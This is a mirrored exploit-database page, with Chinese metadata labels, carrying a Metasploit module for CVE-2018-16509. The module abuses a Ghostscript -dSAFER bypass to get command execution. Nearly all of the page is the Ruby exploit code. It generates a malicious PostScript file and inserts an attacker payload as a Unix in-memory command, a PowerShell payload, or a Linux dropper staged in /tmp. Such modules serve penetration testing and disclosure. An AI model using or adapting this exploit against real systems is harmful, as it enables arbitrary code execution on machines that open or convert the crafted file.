Ghostscript – Failed Restore Command Execution (Metasploit)

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• 86 阅读

• 作者： Metasploit
  日期： 2018-09-10
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/45369/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit
  
  Rank = ExcellentRanking
  
  PLACEHOLDER_STRING= 'metasploit'
  PLACEHOLDER_COMMAND = 'echo vulnerable > /dev/tty'
  
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Ghostscript Failed Restore Command Execution',
  'Description'=> %q{
  This module exploits a -dSAFER bypass in Ghostscript to execute
  arbitrary commands by handling a failed restore (grestore) in
  PostScript to disable LockSafetyParams and avoid invalidaccess.
  
  This vulnerability is reachable via libraries such as ImageMagick,
  and this module provides the latest vector for Ghostscript.
  
  For previous Ghostscript vectors, please see the following modules:
  exploit/unix/fileformat/ghostscript_type_confusion
  exploit/unix/fileformat/imagemagick_delegate
  },
  'Author' => [
  'Tavis Ormandy', # Vuln discovery and exploit
  'wvu'# Metasploit module
  ],
  'References' => [
  ['CVE', '2018-16509'],
  ['URL', 'http://seclists.org/oss-sec/2018/q3/142'],
  ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1640']
  ],
  'DisclosureDate' => 'Aug 21 2018',
  'License'=> MSF_LICENSE,
  'Platform' => ['unix', 'linux', 'win'],
  'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
  'Privileged' => false,
  'Targets'=> [
  ['Unix (In-Memory)',
   'Platform'=> 'unix',
   'Arch'=> ARCH_CMD,
   'Type'=> :unix_memory,
   'Payload' => {'Space' => 4089, 'DisableNops' => true} # 4096 total
  ],
  ['PowerShell (In-Memory)',
   'Platform'=> 'win',
   'Arch'=> [ARCH_X86, ARCH_X64],
   'Type'=> :psh_memory
  ],
  ['Linux (Dropper)',
   'Platform'=> 'linux',
   'Arch'=> [ARCH_X86, ARCH_X64],
   'Type'=> :linux_dropper
  ]
  ],
  'DefaultTarget'=> 0
  ))
  
  register_options([
  OptString.new('FILENAME', [true, 'Output file', 'msf.ps'])
  ])
  
  register_advanced_options([
  OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
  ])
  end
  
  def exploit
  sploit = template
  
  # Replace our placeholder string with a random one
  sploit.sub!(PLACEHOLDER_STRING, Rex::Text.rand_text_alphanumeric(8..42))
  
  # Replace our test payload with the real one
  case target['Type']
  when :unix_memory
  sploit.sub!(PLACEHOLDER_COMMAND, payload.encoded)
  when :psh_memory
  psh = cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true)
  
  # XXX: Payload space applies to the payload, not the PSH command
  if psh.length > targets[0].payload_space
  fail_with(Failure::BadConfig, 'Please choose a smaller payload')
  end
  
  sploit.sub!(PLACEHOLDER_COMMAND, psh)
  when :linux_dropper
  cmdstager = generate_cmdstager(
  linemax: targets[0].payload_space,
  temp:datastore['WritableDir']
  ).join(';')
  
  # XXX: Payload space applies to the payload, not the command stager
  if cmdstager.length > targets[0].payload_space
  fail_with(Failure::BadConfig, 'Please choose a smaller command stager')
  end
  
  sploit.sub!(PLACEHOLDER_COMMAND, cmdstager)
  end
  
  file_create(sploit)
  end
  
  def template
  File.read(File.join(
  Msf::Config.data_directory, 'exploits', 'ghostscript', 'msf.ps'
  ))
  end
  
  end
  

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